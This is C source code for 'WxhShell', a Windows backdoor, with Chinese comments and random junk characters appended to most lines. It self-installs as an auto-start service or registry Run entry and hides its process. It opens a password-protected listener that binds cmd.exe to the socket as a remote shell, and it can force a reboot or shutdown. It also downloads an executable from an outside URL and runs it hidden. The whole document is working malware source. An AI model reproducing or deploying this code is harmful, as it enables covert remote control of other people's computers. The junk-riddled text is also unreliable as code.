    else { W#cr9"'Ta  
    closesocket(wsh); 1](5wK-Z  
    ExitThread(0); JyPsRpi\  
    } 4m++>q  
    break; LS:3Dtq  
    } 3[Pa~]yS  
  // 关机 } g  WSV  
  case 'd': { y<YVb@O.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v4L#^Jw(^p  
    if(Boot(SHUTDOWN)) yHW=,V.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s:Us*i=H,  
    else { o/I<)sa  
    closesocket(wsh); o{*8l#x8  
    ExitThread(0); hq9b  
    } @+",f]  
    break; .vRLK  
    } GE$spx  
  // 获取shell &fYx0JT  
  case 's': { jY-i`rJN  
    CmdShell(wsh); Auhw(b>}TW  
    closesocket(wsh); :oF\?e  
    ExitThread(0); hCO*gtA)M  
    break; Z,o*M#}  
  } GY4 :9Lub7  
  // 退出 HzB&+c? Z  
  case 'x': { ]?,47,[<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \()\pp~4  
    CloseIt(wsh); M;W{A)0i1  
    break; );$Uf!v4  
    } ,_`\c7@  
  // 离开 y]=v+Q*+  
  case 'q': { #{(?a.:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +-,Q>`  
    closesocket(wsh); 9;Ezm<VQ  
    WSACleanup(); ro37H2^Ty  
    exit(1); '6{q;Bxo  
    break; ?[Q;275  
        } pw:<a2.  
  } {i^ ?XdM  
  } .eXIbd<C  
[?W3XUJ,Y  
  // 提示信息 M#})  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F$ Us! NN  
} ,{itnKJC  
  } KK]AX;  
X =S;8=N  
  return; |IH-a"  
} 0$ &Z_oJ  
 'm}~  
// shell模块句柄 7H[#  
int CmdShell(SOCKET sock) 6,_CL M  
{ 0Qw?.#[9  
STARTUPINFO si; {_3ZKD(\  
ZeroMemory(&si,sizeof(si)); @Qruc\_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zo@>~G3$9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CJjma=XH  
PROCESS_INFORMATION ProcessInfo; a>sUq["  
char cmdline[]="cmd"; \R&`bAdk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p(nC9NGB  
  return 0; lqqY5l6j  
} 1$@k@*u\  
K"Nq_Ddwd  
// 自身启动模式 R9S7p)B  
int StartFromService(void) Z i7(lG  
{ 0plRsZ}  
typedef struct OD>-^W t;%  
{ Jd1eOeS  
  DWORD ExitStatus; 6JRee[  
  DWORD PebBaseAddress; `mw@"  
  DWORD AffinityMask; ~DqNA%Mb  
  DWORD BasePriority; 9A B~*;U  
  ULONG UniqueProcessId; 'y-IE#!5  
  ULONG InheritedFromUniqueProcessId; |[!xLqG  
}   PROCESS_BASIC_INFORMATION; 56?U4wj7{  
?\$77k  
PROCNTQSIP NtQueryInformationProcess; axU!o /m>  
o>U%3-+T^J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qcQ`WU{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HaB=nLAT  
UfcM2OmbK  
  HANDLE             hProcess; \iowAo$  
  PROCESS_BASIC_INFORMATION pbi; Dvd.Q/f  
1Lj\"+.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y;&Cmi  
  if(NULL == hInst ) return 0; ` mCcD  
zb9d{e   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *WMcE$w/D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lzS"NHs<g(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0pkU1t~9  
Mqw&%dz'_  
  if (!NtQueryInformationProcess) return 0; Y 3KCIL9  
I|WBT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %HYC-TF#  
  if(!hProcess) return 0; C:4h  
;'gzR C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ",Q\A I  
qY14LdC}~  
  CloseHandle(hProcess); -pqShDar|  
;PS [VdV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0dIJgKanGP  
if(hProcess==NULL) return 0; i"w$D{N  
83TN6gW  
HMODULE hMod; NO* 1km[#  
char procName[255]; 1Ll@ ocE  
unsigned long cbNeeded; yRieGf1'SD  
TC R(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \n<N>j@3  
?c>j^}A/N  
  CloseHandle(hProcess); d(To)ly.  
4|++0=#D$  
if(strstr(procName,"services")) return 1; // 以服务启动 5vP*oD  
]^Q`CiKd  
  return 0; // 注册表启动 /1MO]u\  
} G e~&Ble  
)C|>M'g@v  
// 主模块 \f{C2d/6j  
int StartWxhshell(LPSTR lpCmdLine) hsfVKlw-  
{ bcj7.rh]'h  
  SOCKET wsl; 2!" N9Adt  
BOOL val=TRUE; eU{=x$o6S  
  int port=0; Ah)7A|0rT  
  struct sockaddr_in door; .}CP Z3y  
%?RX}37K  
  if(wscfg.ws_autoins) Install(); oPWvZI(\&  
*y N,e.t  
port=atoi(lpCmdLine); TR: D  
},[j+wx  
if(port<=0) port=wscfg.ws_port; L"('gc!W  
^PWZ1.T  
  WSADATA data; g7d)YUc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M%B]f2C  
k87B+0QEL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '-ACNgNn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (6JD<pBm  
  door.sin_family = AF_INET; .g4bV5ma3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rmd;u g9  
  door.sin_port = htons(port); {d7KJmN  
R8HA X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Em _miU  
closesocket(wsl); OjZ+gl}  
return 1; ,P9B8oIq  
} @rVmr{UE  
]A'e+RD4k  
  if(listen(wsl,2) == INVALID_SOCKET) { :l*wf/&z  
closesocket(wsl); !5=3Y4bg1  
return 1; +%>L;'L ^X  
} 8qBw;A)  
  Wxhshell(wsl); cJH7zumM)  
  WSACleanup(); :Eob"WH  
6NZ f!7,B  
return 0; `D GO~RMp9  
sY1*Wo lA  
} Y @K9Hl  
fxiq,o0  
// 以NT服务方式启动 2poU \|H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g\6(ezUF*  
{ Dcp,9"yt%  
DWORD   status = 0; -98bX]8  
  DWORD   specificError = 0xfffffff; 5Pv>`E2^  
6o6m"6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cLB"<mG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @c.QrKSaD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]n!pn#Q  
  serviceStatus.dwWin32ExitCode     = 0; K,^b=_]  
  serviceStatus.dwServiceSpecificExitCode = 0; 5a_K|(~3I  
  serviceStatus.dwCheckPoint       = 0; <Ojf&C^Z  
  serviceStatus.dwWaitHint       = 0; [% 3{mAd  
[c3hwogf:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [.6uw=;o  
  if (hServiceStatusHandle==0) return; >0~y "~M  
`%rqQnVB  
status = GetLastError(); f#5mX&j  
  if (status!=NO_ERROR) 67f#Z&r2k  
{ 8 A2k-X,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s<^UAdLnl  
    serviceStatus.dwCheckPoint       = 0; \)LY_D:  
    serviceStatus.dwWaitHint       = 0; r)*KgGsk  
    serviceStatus.dwWin32ExitCode     = status; N(F9vZOs  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zb}=?fcL;@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WRD^S:`BH  
    return; ,9q5jOnk  
  } }.e*=/"MB  
7(wY4T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +fKLCzj  
  serviceStatus.dwCheckPoint       = 0; iUSs)[]H>  
  serviceStatus.dwWaitHint       = 0; KqB(W ,$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i\,#Z!  
} =FdS'<GM  
'm-s8]-W  
// 处理NT服务事件,比如:启动、停止 =SLJkw&w6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tohYwXN  
{ PBkKn3P3  
switch(fdwControl) u,/PJg-(!  
{ i) :Q{[D  
case SERVICE_CONTROL_STOP: t0hg!_$bq  
  serviceStatus.dwWin32ExitCode = 0; _.\p^ HM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {t9'8R3  
  serviceStatus.dwCheckPoint   = 0; dZ;cs c@xv  
  serviceStatus.dwWaitHint     = 0; ^bS&[+9E  
  { ?1?m4i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?$8OVq.w,  
  } n802!d+Tn  
  return; ~hz]x^:  
case SERVICE_CONTROL_PAUSE: \W #M]Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b+3{ bE  
  break; Jfo#IRC  
case SERVICE_CONTROL_CONTINUE: h.G/HHz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; / 1E6U6  
  break; oGXT,38*  
case SERVICE_CONTROL_INTERROGATE: dt ;R  
  break; qfG`H#cA<  
}; I?5#Q0,b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]6FpUF#<D  
} ~?S/0]?c  
QnVYZUgJeV  
// 标准应用程序主函数  xUzfBn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D0tI  
{ q[7C,o>/  
+>37 'PD  
// 获取操作系统版本 v(]\o;/O  
OsIsNt=GetOsVer(); qKZ~)B j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wVV'9pw}  
yj"+!g  
  // 从命令行安装 EXoT$Wt{$  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ 7Q|vu  
H8rDG/>^  
  // 下载执行文件 RE7 I"  
if(wscfg.ws_downexe) { D+#QQH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) - =QA{n  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~S#Le  
} 3Sf <oYF  
1i^!A&  
if(!OsIsNt) { ^JJ*pT:  
// 如果时win9x,隐藏进程并且设置为注册表启动 A0 x*feK?  
HideProc(); Gpo(Zf?  
StartWxhshell(lpCmdLine); fg^$F9@  
} rp+&ax}Wh  
else YN.rj-;^+  
  if(StartFromService()) $5s?m\!jZz  
  // 以服务方式启动 ^4h/6^b0c  
  StartServiceCtrlDispatcher(DispatchTable); k7'B5zVd  
else 3g^_Fq'  
  // 普通方式启动 m ['UV2  
  StartWxhshell(lpCmdLine); K!0vvP2H  
<TC\Nb$~  
return 0; {D 9m// x  
} )zf&`T  
U# G0  
q`{crY30  
mi`!'If0)  
=========================================== ofC=S$wX  
+pkX$yz  
L$=6R3GI  
XFUlV;ek  
ncuqo'r  
m+?$cyA>v  
" ,Tvfn`;(  
 ") q  
#include <stdio.h> 5RrzRAxq  
#include <string.h> & w&JE]$ 5  
#include <windows.h> 6F(;=iY8  
#include <winsock2.h> ?>92OuG%W?  
#include <winsvc.h> @A GM=v  
#include <urlmon.h> ;G |5kvE>  
u!S^lV@  
#pragma comment (lib, "Ws2_32.lib") x\z* iv  
#pragma comment (lib, "urlmon.lib") nYhI0q  
:D|"hJ  
#define MAX_USER   100 // 最大客户端连接数 wJ,l"bnq  
#define BUF_SOCK   200 // sock buffer b= amd*  
#define KEY_BUFF   255 // 输入 buffer *~YU0o  
i|?EgGFG  
#define REBOOT     0   // 重启 G6]W'Kk  
#define SHUTDOWN   1   // 关机 dT?/9JIv  
~4IkQ|,  
#define DEF_PORT   5000 // 监听端口 plcz m 2  
[Q9#44@{S;  
#define REG_LEN     16   // 注册表键长度 Gi]R8?M  
#define SVC_LEN     80   // NT服务名长度 !~#zH0#  
2l^hnog|  
// 从dll定义API u*u3<YQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |h}/#qhR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); olda't  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v/gxQy+l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qtlXDgppO  
HG kL6o=  
// wxhshell配置信息 O1]L4V1iH  
struct WSCFG { nsW #  
  int ws_port;         // 监听端口 P`^3-X/  
  char ws_passstr[REG_LEN]; // 口令 Y=0D[o8  
  int ws_autoins;       // 安装标记, 1=yes 0=no '&v.h#<  
  char ws_regname[REG_LEN]; // 注册表键名 "Bn8WT2?  
  char ws_svcname[REG_LEN]; // 服务名 Cb:}AQ=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d7(g=JK<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "]H_;:{f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /<zBjvr%%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &}}UdJ`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PiQs Vk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 < KB V  
b&]_5 GGc  
}; )w/ #T  
PqUjBP\  
// default Wxhshell configuration 'LC-/_g  
struct WSCFG wscfg={DEF_PORT, ' tyblj C  
    "xuhuanlingzhe", =*2_B~`  
    1, yn`P:[v  
    "Wxhshell", ZhvZe/  
    "Wxhshell", I!-"SuBy4J  
            "WxhShell Service", +q<G%PwbV  
    "Wrsky Windows CmdShell Service", 76 ] X  
    "Please Input Your Password: ", L<dJWxf?D  
  1, SHcFnxEAIH  
  "http://www.wrsky.com/wxhshell.exe", "2m (*+  
  "Wxhshell.exe" VA D9mS^~  
    }; E!Ljq3iT`  
c2E*A+V#u  
// 消息定义模块 Gn?NY}.S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q vc$D{z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (D5sJ$&E@\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r3;@  
char *msg_ws_ext="\n\rExit."; nXRT%[o&  
char *msg_ws_end="\n\rQuit."; ]wxjd l  
char *msg_ws_boot="\n\rReboot..."; THN/ /}d  
char *msg_ws_poff="\n\rShutdown..."; v^0*{7N'  
char *msg_ws_down="\n\rSave to "; \-`,fat  
or<n[<D-C  
char *msg_ws_err="\n\rErr!"; `AcUxnO  
char *msg_ws_ok="\n\rOK!"; %noByq,?  
@'AjEl:&-_  
char ExeFile[MAX_PATH]; |&49YQ  
int nUser = 0; ovXU +8  
HANDLE handles[MAX_USER]; * a ?qV  
int OsIsNt; .D8|_B  
-Z(='A  
SERVICE_STATUS       serviceStatus; C0`Bi:Ze  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L ^E#"f  
d YliC  
// 函数声明 E:$EK_?:t  
int Install(void);  Gv(?u  
int Uninstall(void); F $6JzF$|F  
int DownloadFile(char *sURL, SOCKET wsh); 'qy LQ:6  
int Boot(int flag); GZt L-   
void HideProc(void); WeiDg,]e$b  
int GetOsVer(void); iwVsq_[]L  
int Wxhshell(SOCKET wsl); '_~qAx@F#c  
void TalkWithClient(void *cs); ou\M}C`E  
int CmdShell(SOCKET sock); g15~+;33N  
int StartFromService(void); *}h#'+  
int StartWxhshell(LPSTR lpCmdLine); (~IoRhp^  
CqVeR';2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DQI b57j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); asc Y E  
"tF#]iQQ u  
// 数据结构和表定义 p}e1!q;N  
SERVICE_TABLE_ENTRY DispatchTable[] = Fm#`}K_  
{ mDdL7I  
{wscfg.ws_svcname, NTServiceMain}, M 8NWQ^Y  
{NULL, NULL} }.k*4Vw#Wt  
}; oAprM Z 7Y  
$<da<}b  
// 自我安装 :B7dxE9[r  
int Install(void) E=# O|[=  
{ kxH` c  
  char svExeFile[MAX_PATH]; OpD%lRl  
  HKEY key; 3j7Na#<tL3  
  strcpy(svExeFile,ExeFile); :\F1S:&P  
wLa8&E[  
// 如果是win9x系统,修改注册表设为自启动 ){I!orQ  
if(!OsIsNt) { K0fuN)C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [pxC3{|d$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?1.W F}X'  
  RegCloseKey(key); _Kwp8_kTr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /T<))@$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6PyW(i(bs  
  RegCloseKey(key); :|a$[g5  
  return 0; ~J![Nx/  
    } br,xwc  
  } ]%2y`Jrl^W  
} POI|#[-V  
else { gvFs$X*^:  
G S&I6  
// 如果是NT以上系统,安装为系统服务 {YK7';_E*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $d*PY_  
if (schSCManager!=0) Vji:,k=3\  
{ 7 MS-Gs|  
  SC_HANDLE schService = CreateService y>>)Yo&|  
  ( Yb\d(k$h  
  schSCManager, WX* uhR  
  wscfg.ws_svcname, L/?jtF:o  
  wscfg.ws_svcdisp, WBWIHv{j  
  SERVICE_ALL_ACCESS, (L*<CV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wx8Qz,Z  
  SERVICE_AUTO_START, YSbe Cyv  
  SERVICE_ERROR_NORMAL, i ?%_P u  
  svExeFile, z&Xk~R*$  
  NULL, Vg(FF "  
  NULL, f^)iv ]p  
  NULL, y!c<P,Lt3f  
  NULL, M%Zh{  
  NULL V an=dz G  
  ); to;^'#B  
  if (schService!=0) GuC 9h^[=M  
  { ~ycWc Zi>  
  CloseServiceHandle(schService); M(1cf(<+  
  CloseServiceHandle(schSCManager); v7/k0D .  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sI6I5  
  strcat(svExeFile,wscfg.ws_svcname); S$=caZ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [!#}#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E|A~T7G=  
  RegCloseKey(key); %\L{Ud%7  
  return 0; ITy/h]0  
    } ZnBGNr  
  } vdh[%T,&  
  CloseServiceHandle(schSCManager); n lZJ}xZ  
} JS/~6'uB  
} >a bp se  
'Ck:=V%}g  
return 1; {e5-  
} y;%\ w-.\  
a ?\:,5=  
// 自我卸载 KGGnypx`  
int Uninstall(void) SmAii}-jf  
{ :`>tCYy;  
  HKEY key; {Iz"]Wh<f  
qDcoccEf  
if(!OsIsNt) { 1\)C;c,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }:Y)DH% u  
  RegDeleteValue(key,wscfg.ws_regname); Fkg%_v$  
  RegCloseKey(key); _4T7Vg''  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dw>)\\n{Kl  
  RegDeleteValue(key,wscfg.ws_regname); `dWnu3r;  
  RegCloseKey(key); 7'gk=MQc  
  return 0; ^%m{yf#  
  } "YAnGGx)LZ  
} 2PSkLS&IM  
} Dk&(QajL  
else { qDqy9u:g  
("YWJJ'H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O0s,)8+z5D  
if (schSCManager!=0) FAdTp.   
{ $inKI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HCx0'|J  
  if (schService!=0) omznSL  
  { o2;Eti  
  if(DeleteService(schService)!=0) { 4TyzD%pOw  
  CloseServiceHandle(schService); 8kC$Z)  
  CloseServiceHandle(schSCManager); 4`Zo Ar-5|  
  return 0; ?2R!n" m-d  
  } =$%-RX7  
  CloseServiceHandle(schService); G$luGxl[  
  } H/k]u)Gtv  
  CloseServiceHandle(schSCManager); :S}ZF$ $j%  
} RCi8{~rIvS  
} Ov4=!o=  
j&U7xv  
return 1; Aar]eY\  
} <WnIJum  
neE Zw#(Z  
// 从指定url下载文件 <f=<r*6  
int DownloadFile(char *sURL, SOCKET wsh) :5'hd^Q  
{ Ujqnl>l  
  HRESULT hr; ;#+I"Ow  
char seps[]= "/"; 1]Cb i7  
char *token; _\8E/4zh  
char *file; )A6=P%;}>I  
char myURL[MAX_PATH]; 6`%|-o :  
char myFILE[MAX_PATH]; -ik=P ]?  
c}|} o^  
strcpy(myURL,sURL); (/Jy9 =~  
  token=strtok(myURL,seps); vbX.0f "n  
  while(token!=NULL) oB>#P-V  
  { tOte[~,  
    file=token; U#- 5",X|  
  token=strtok(NULL,seps); \ So)g)K  
  } .r&CIL >  
Jr%F#/  
GetCurrentDirectory(MAX_PATH,myFILE); vl6|i)D  
strcat(myFILE, "\\"); Q[%G`;e#  
strcat(myFILE, file); tk:nth  
  send(wsh,myFILE,strlen(myFILE),0); `c|H^*RC  
send(wsh,"...",3,0); "=KFag  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pAq PHD=  
  if(hr==S_OK) wDSwcNS  
return 0; xls US'Eo  
else { .0I!oWv  
return 1; $ %|b6Gr/&  
&U CtyCz  
} W5e >Z&&  
h,-i\8gq  
// 系统电源模块 ;j[gE  
int Boot(int flag) /J Y6S  
{ `Fe/=]< $  
  HANDLE hToken; wuxOFlrg  
  TOKEN_PRIVILEGES tkp; *-.`Q  
a+CJJ3T-  
  if(OsIsNt) { WX`wz>KK^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -UAMHd}4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PI9aKNt  
    tkp.PrivilegeCount = 1; Tc>g+eS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Eh|6{LDn!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s&CK  
if(flag==REBOOT) { 7:=(yBG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 09 f;z  
  return 0; F9(jx#J~t  
} |oX9SUl  
else { Xk:3w,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iAPGP -<6  
  return 0; !Htl e %  
} `#r/L@QI  
  } 7fd,I%v  
  else { jROh3kq  
if(flag==REBOOT) { : Q2=t!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %m/5! "  
  return 0; U[q39FR  
} Uxe]T  
else { Y(ClG*6 ++  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *IF ~ab2  
  return 0; Wcl =YB%  
} .lI.I  
} CPY|rV  
V1,~GpNx  
return 1; zP@\rZ@4  
} 9\E];~"iP  
^L\w"`,~  
// win9x进程隐藏模块 OU^I/TU  
void HideProc(void) dDA&\BuS  
{ ,wHlU-%  
41rS0QAM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X*bOE}  
  if ( hKernel != NULL ) NID2$p  
  { nn">   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Iu;VFa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xyXVWd[  
    FreeLibrary(hKernel); 6$csFW3R  
  } `V*$pHo  
+4 D#Ht 7  
return; ?fpI,WFu  
} 3#F"UG2,_  
m8gU8a"(  
// 获取操作系统版本 _PP-'^ U  
int GetOsVer(void) 7L]Y.7>  
{ ^~bAixH^k  
  OSVERSIONINFO winfo; =jU#0FAO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `YBHBTG'o!  
  GetVersionEx(&winfo); ! ;Ctz'wz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H~0B5Hl!F  
  return 1; 9~l8QaK  
  else =feVT2*  
  return 0; 3Z%jx#  
} 99b"WH^3$y  
i*+N[#yp  
// 客户端句柄模块 P4s,N|bs`  
int Wxhshell(SOCKET wsl) <*ME&c gh4  
{ >kDkvg1"  
  SOCKET wsh; #!4 HSBf  
  struct sockaddr_in client; 'W~6-c9y  
  DWORD myID; #/hXcF  
}SS~uQ;8  
  while(nUser<MAX_USER) okbW.  ~  
{ "z{ rC}  
  int nSize=sizeof(client); r+i=P_p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4Jw_gOY&D  
  if(wsh==INVALID_SOCKET) return 1; =UZQ` {  
}eLth0d`'o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }>'1Qg  
if(handles[nUser]==0) 3lefB A7  
  closesocket(wsh); 7x(z  
else .;;:t0PB  
  nUser++; cN]g^  
  } NH8\&#}nAK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '77Gg  
H+VjY MvK  
  return 0; -JXCO <~k  
} ]_:j+6i  
 <+p{U(  
// 关闭 socket \7 *"M y*  
void CloseIt(SOCKET wsh) KU87WpjX  
{ ,4S6F HK  
closesocket(wsh); "jP{m; p  
nUser--; 2U'Vq  
ExitThread(0); Y;>D"C..  
} %OT?2-d  
z_t%n<OvK  
// 客户端请求句柄 Z!oq2,ia  
void TalkWithClient(void *cs) p-2PC{% t|  
{ -AM(-  
#Dl=K<I  
  SOCKET wsh=(SOCKET)cs; j>|mpfU  
  char pwd[SVC_LEN]; =_vW7-H  
  char cmd[KEY_BUFF]; (L !#2Jy  
char chr[1]; f^@D uI  
int i,j; hixG/%aO  
je5GZFQw  
  while (nUser < MAX_USER) { N/r8joi#  
>~rytg]f  
if(wscfg.ws_passstr) { ^<+V[ =X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H.!\j&4j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I_iXu;UX  
  //ZeroMemory(pwd,KEY_BUFF); ]E}eM@xdD  
      i=0; 1\%2@NR  
  while(i<SVC_LEN) { ]"VxEpqhM  
DkeFDzQ5  
  // 设置超时 ,g{Ob{qT  
  fd_set FdRead; g6 6SCr}  
  struct timeval TimeOut; xcE<|0N :  
  FD_ZERO(&FdRead); L31#v$;4  
  FD_SET(wsh,&FdRead); |)b:@q3k+n  
  TimeOut.tv_sec=8; *QP+p,L*  
  TimeOut.tv_usec=0; pij%u<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [IPXU9& Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nn{PhyK  
\jHIjFwQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G"nGaFT~  
  pwd=chr[0]; m"RSDM!  
  if(chr[0]==0xd || chr[0]==0xa) { q?bKh*48  
  pwd=0; I|vfxf  
  break; aW;DfH  
  } P8n |MN  
  i++; +9R@cUr  
    } 3u~V&jl  
0c$ ')`! m  
  // 如果是非法用户,关闭 socket ]@hN&W(+x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + vO; J  
} 2su/I  
,V.Bzf%=O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ISi^BFU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VrnZrQj<  
+CXtTasP  
while(1) { QpiA~4  
JbLHW26pl  
  ZeroMemory(cmd,KEY_BUFF); /uJ(&#87  
-DL"Yw}  
      // 自动支持客户端 telnet标准   BY`vs+]XY  
  j=0; MWJ}  
  while(j<KEY_BUFF) { Vi'zSR28Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 84A:Rd'k3)  
  cmd[j]=chr[0]; KK, t!a  
  if(chr[0]==0xa || chr[0]==0xd) { uG=~k O  
  cmd[j]=0; 7&3  
  break; f:KZP;/[c  
  } 1w'W)x  
  j++; (DY&{vudF  
    } hkl9 EVO)  
AfvIzsT0  
  // 下载文件 Mew,g:m:  
  if(strstr(cmd,"http://")) { BD?u|Fd,i:  
